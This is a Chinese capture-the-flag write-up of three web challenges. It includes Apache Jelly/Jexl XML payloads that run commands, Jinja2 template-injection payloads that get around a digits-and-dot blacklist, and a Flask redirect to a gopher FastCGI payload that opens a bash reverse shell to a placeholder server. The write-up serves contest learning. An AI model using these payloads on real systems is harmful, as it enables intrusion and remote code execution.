前言 好久没打比赛了,网鼎杯虽然寄了,但是学到的东西还是有很多。这次随便注册了个号看了看,题目还是不错的,于是复现一手。
临近期末周了,这算是我这学期倒数第二次写CTF的wp了吧,最后一次还有个考前的软件安全国赛的初赛打打,然后就是一堆考试(晕
Easy Jelly 看到这个题目当时想到的就是最近的一个Jelly漏洞:CVE-2024-4879的SSTI模板注入。
但是这个题其实不是这样的。而且这道题还可以直接XXE打非预期。。。
官方文档:https://commons.apache.org/proper/commons-jelly/
这里官方wp给出的解释就是Jelly XML引擎解析导致的漏洞,在过滤了一些常见的Jelly标签的情况下仍然可以使用Jexl表达式实现RCE。
源码也很简单,直接想办法vps上放个反弹shell的xml然后传参uri就可以了:
由于可以直接vps上放xml,所以他这个黑名单其实是形同虚设(没懂为啥要黑名单):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 private static Boolean check (String uri) throws IOException, ParserConfigurationException, SAXException { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setNamespaceAware(true ); DocumentBuilder builder = dbf.newDocumentBuilder(); Document doc = builder.parse(uri); int tag1 = doc.getElementsByTagNameNS("*" , "expr" ).getLength(); int tag2 = doc.getElementsByTagNameNS("*" , "import" ).getLength(); int tag3 = doc.getElementsByTagNameNS("*" , "include" ).getLength(); int tag4 = doc.getElementsByTagNameNS("*" , "invoke" ).getLength(); int tag5 = doc.getElementsByTagNameNS("*" , "invokeStatic" ).getLength(); int tag6 = doc.getElementsByTagNameNS("*" , "new" ).getLength(); int tag7 = doc.getElementsByTagNameNS("*" , "parse" ).getLength(); int tag8 = doc.getElementsByTagNameNS("*" , "set" ).getLength(); int tag9 = doc.getElementsByTagNameNS("*" , "setProperties" ).getLength(); int tag10 = doc.getElementsByTagNameNS("*" , "out" ).getLength(); int tag11 = doc.getElementsByTagNameNS("*" , "useBean" ).getLength(); return tag1 <= 0 && tag2 <= 0 && tag3 <= 0 && tag4 <= 0 && tag5 <= 0 && tag6 <= 0 && tag7 <= 0 && tag8 <= 0 && tag9 <= 0 && tag10 <= 0 && tag11 <= 0 ? true : false ; }
直接打payload就可以了(用的本地docker,官方靶机太鸡肋了,打半天打不通,还以为不出网):
1 2 3 4 5 6 7 8 9 10 <?xml version="1.0" encoding="utf-8" ?> <j:jelly xmlns:j ="jelly:core" > <j:getStatic var ="str" className ="org.apache.commons.jelly.servlet.JellyServlet" field ="REQUEST" /><j:break test ="${str .class .forName('javax.script.ScriptEngineManager').newInstance() .getEngineByName('js') .eval('java.lang.Runtime.getRuntime().exec(" RCE-Command" )')}" ></j:break > </j:jelly >
或者:
1 2 3 4 5 6 7 8 9 10 <?xml version="1.0" encoding="utf-8" ?> <j:jelly xmlns:j ="jelly:core" > <j:getStatic var ="str" className ="org.apache.commons.jelly.servlet.JellyServlet" field ="REQUEST" /><j:whitespace > ${str .class .forName('javax.script.ScriptEngineManager').newInstance() .getEngineByName('js') .eval('java.lang.Runtime.getRuntime().exec(" RCE-Command" )')}</j:whitespace > </j:jelly >
Jelly在执行Jexl表达式上非常灵活,可以在官方文档中看到expr标签的value属性是允许计算Jexl表达式的:
其执行逻辑位于org.apache.commons.jelly.tags.core.ExprTag#doTag
方法:
如果你去翻看CoreTagLibrary
类,会发现out标签的同样会到org.apache.commons.jelly.tags.core.ExprTag#doTag
方法下处理
官方给了个思路,可以跟一跟:
Ez_Gallery 弱密码admin/123456,验证码纯数字,如果要识别验证码爆密码可以安bp的插件,不过多说了。
然后进去有个读文件的路由,显然可以任意文件读取,/proc/self/cmdlin
e是可以看到app.py的位置的,然后直接读/app/app.py
获得源码。
其他的没啥好看的,主要是这里:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def shell_view (request ): if request.session.get('username' ) != 'admin' : return Response("请先登录" , status=403 ) expression = request.GET.get('shellcmd' , '' ) blacklist_patterns = [r'.*length.*' ,r'.*count.*' ,r'.*[0-9].*' ,r'.*\..*' ,r'.*soft.*' ,r'.*%.*' ] if any (re.search(pattern, expression) for pattern in blacklist_patterns): return Response('wafwafwaf' ) try : result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(expression).render({"request" : request}) if result != None : return Response('success' ) else : return Response('error' ) except Exception as e: return Response('error' )
一眼SSTI,但ban了数字和点号才是最伤的,很多命令给ban了,写内存马也不好写。
但是方法总比困难多,这里不写我那个烂方法了,又长又难看。。。而且这里没回显,也在考虑SSTI盲注的思路。
官方wp给出的是钩子函数的解法:
这里尝试内存马,但是添加路由的config 变量是局部变量,所以考虑其他和 config 无关的钩子函数,参考:https://docs.pylonsproject.org/projects/pyramid/en/1.4-branch/narr/hooks.html
利用 request.add_response_callback
钩子函数进行回显,构造:
1 {{cycler.__init__.__globals__.__builtins__['exec' ]("request.add_response_callback(lambda request, response: setattr(response,'text', __import__('os').popen('whoami').read()))" ,{'request' : request})}}
用getattr
绕一下点号:
1 {{cycler['__init__' ]['__globals__' ]['__builtins__' ]['exec' ]("getattr(request,'add_response_callback')(lambda request,response:setattr(response, 'text', getattr(getattr(__import__('os'),'popen')('whoami'),'read')()))" ,{'request' : request})}}
还可以用回显头的方法:
1 {{cycler['__init__' ]['__globals__' ]['__builtins__' ]['setattr' ](cycler['__init__' ]['__globals__' ]['__builtins__' ]['__import__' ]('sys' )['modules' ]['wsgiref' ]['simple_server' ]['ServerHandler' ],'http_version' ,cycler['__init__' ]['__globals__' ]['__builtins__' ]['__import__' ]('os' )['popen' ]('whoami' )['read' ]())}}
而且赛后群里还有师傅给出一种方法:
1 {{lipsum['__globals__' ]['__builtins__' ]['setattr' ]((((lipsum|attr('__spec__' ))|attr('__init__' )|attr('__globals__' ))['sys' ]|attr('modules' ))['wsgiref' ]|attr('simple_server' )|attr('ServerHandler' ),'server_so' +'ftware' ,lipsum['__globals__' ]['__builtins__' ]['__import__' ]('os' )['popen' ]('/readflag' )['read' ]())}}
只是这种方法也需要打盲注,后续不多说了。这里的lipsum
可以关注一下,用法很多,也适用于很多奇技淫巧。
signal 从302跳转到Fastcgi的SSRF。
但是平台靶机上不了外网,太傻逼了。
dirsearch能扫到index.php.swp文件,vim -r读一下获得guest登录账号密码。
然后登录进去能得到一个文件读取路由,直接读只有个假flag。猜测读真flag还得拿shell提权。
读文件这里用到的是二次URL编码,二次URL编码能够利用filter读取到admin.php的源码:
这里其实filter-chain非预期直接可以打了,可以看看网上其他人的wp。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 <?php session_start ();error_reporting (0 );if ($_SESSION ['logged_in' ] !== true || $_SESSION ['username' ] !== 'admin' ) { $_SESSION ['error' ] = 'Please fill in the username and password' ; header ("Location: index.php" ); exit (); }$url = $_POST ['url' ];$error_message = '' ;$page_content = '' ;if (isset ($url )) { if (!preg_match ('/^https:\/\//' , $url )) { $error_message = 'Invalid URL, only https allowed' ; } else { $ch = curl_init (); curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch , CURLOPT_HEADER, 0 ); curl_setopt ($ch , CURLOPT_FOLLOWLOCATION, 1 ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 ); $page_content = curl_exec ($ch ); if ($page_content === false ) { $error_message = 'Failed to fetch the URL content' ; } curl_close ($ch ); } }?> <!DOCTYPE html> <html lang='en' > <head> <meta charset='UTF-8' > <meta name='viewport' content='width=device-width, initial-scale=1.0' > <title>Welcome</title> <style> body { margin: 0 ; display: flex; justify-content: center; align-items: center; height: 100 vh; background: linear-gradient (135 deg, #6 dd5ed, #2193 b0); font-family: Arial, sans-serif; overflow: hidden; position: relative; } body::before , body::after { content: '' ; position: absolute; width: 400 px; height: 400 px; border-radius: 50 %; background: rgba (255 , 255 , 255 , 0.1 ); animation: float 6 s ease-in-out infinite; z-index: 0 ; } body::before { top: -100 px; right: -150 px; } body::after { bottom: -150 px; left: -100 px; } @keyframes float { 0 %, 100 % { transform: translateY (0 ); } 50 % { transform: translateY (20 px); } } .login-container { position: relative; z-index: 1 ; width: 350 px; padding: 2 rem; background-color: border-radius: 12 px; text-align: center; box-shadow: 0 px 4 px 20 px rgba (0 , 0 , 0 , 0.2 ); backdrop-filter: blur (10 px); transition: transform 0.3 s ease; } .login-container:hover { transform: translateY (-5 px); } .login-container h2 { margin-bottom: 1.5 rem; color: font-weight: bold; } .login-container input[type='text' ] { width: 100 %; padding: 0.75 rem; margin: 0.5 rem 0 ; border: 1 px solid border-radius: 5 px; box-sizing: border-box; font-size: 1 rem; outline: none; transition: border-color 0.3 s ease; } .login-container input[type='text' ]:focus { border-color: box-shadow: 0 px 0 px 5 px rgba (76 , 175 , 80 , 0.5 ); } .login-container button { width: 100 %; padding: 0.75 rem; margin-top: 1 rem; background-color: color: white; border: none; border-radius: 5 px; font-size: 1 rem; cursor: pointer; transition: background-color 0.3 s, transform 0.3 s; position: relative; overflow: hidden; } .login-container button:hover { background-color: transform: translateY (-3 px); } .login-container button:active { transform: translateY (1 px); } .login-container p { margin-top: 1 rem; color: font-size: 0.9 rem; } .error { color: red; margin-top: 0.5 rem; text-align: center; font-size: 0.9 rem; } .content { margin-top: 1 rem; padding: 1 rem; background-color: border: 1 px solid border-radius: 5 px; word-wrap: break -word; max-height: 200 px; overflow-y: auto; } </style> </head> <body> <div class ='login -container '> <h2 >Welcome </h2 > <p >ç½é¡µæ¥çï¼just do it ð</p > <form method ='post ' action =''> <input type ='text ' name ='url ' placeholder ='Enter URL ' required > <button type ='submit '>Submit </button > <?php if (!empty ($error_message )) : ?> <div class ='error '><?= htmlspecialchars ($error_message ) ?></div > <?php endif ; ?> </form > <?php if (!empty ($page_content )) : ?> <div class ='content '> <?= nl2br (htmlspecialchars ($page_content )); ?> </div > <?php endif ; ?> </div > </body > </html >
发现能打302的SSRF,然而不知道密码账号,登录页面有个StoredAccounts.php,读一下拿到admin的账密了,登入。
但是我自己的域名起flask跳转打fastcgi打不进去,靶机不出网,也不知道出题人咋想的,就让人用filter-chain非预期呗。。。
官方给的用gopherus造个payload打fastcgi-SSRF反弹shell:
1 2 3 4 5 6 7 8 9 10 11 from flask import Flask, redirect app = Flask(__name__)@app.route('/' ) def indexRedirect (): redirectUrl = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/admin.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/vps/port%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00' return redirect(redirectUrl)if __name__ == '__main__' : app.run('0.0.0.0' , port=8080 , debug=True )
详情和其他题多解可看:
【Web】2024“国城杯”网络安全挑战大赛题解-CSDN博客
剩下那道反序列化打session和phar,不打算做了,也没心情复现。
准备期末了。下播一阵子。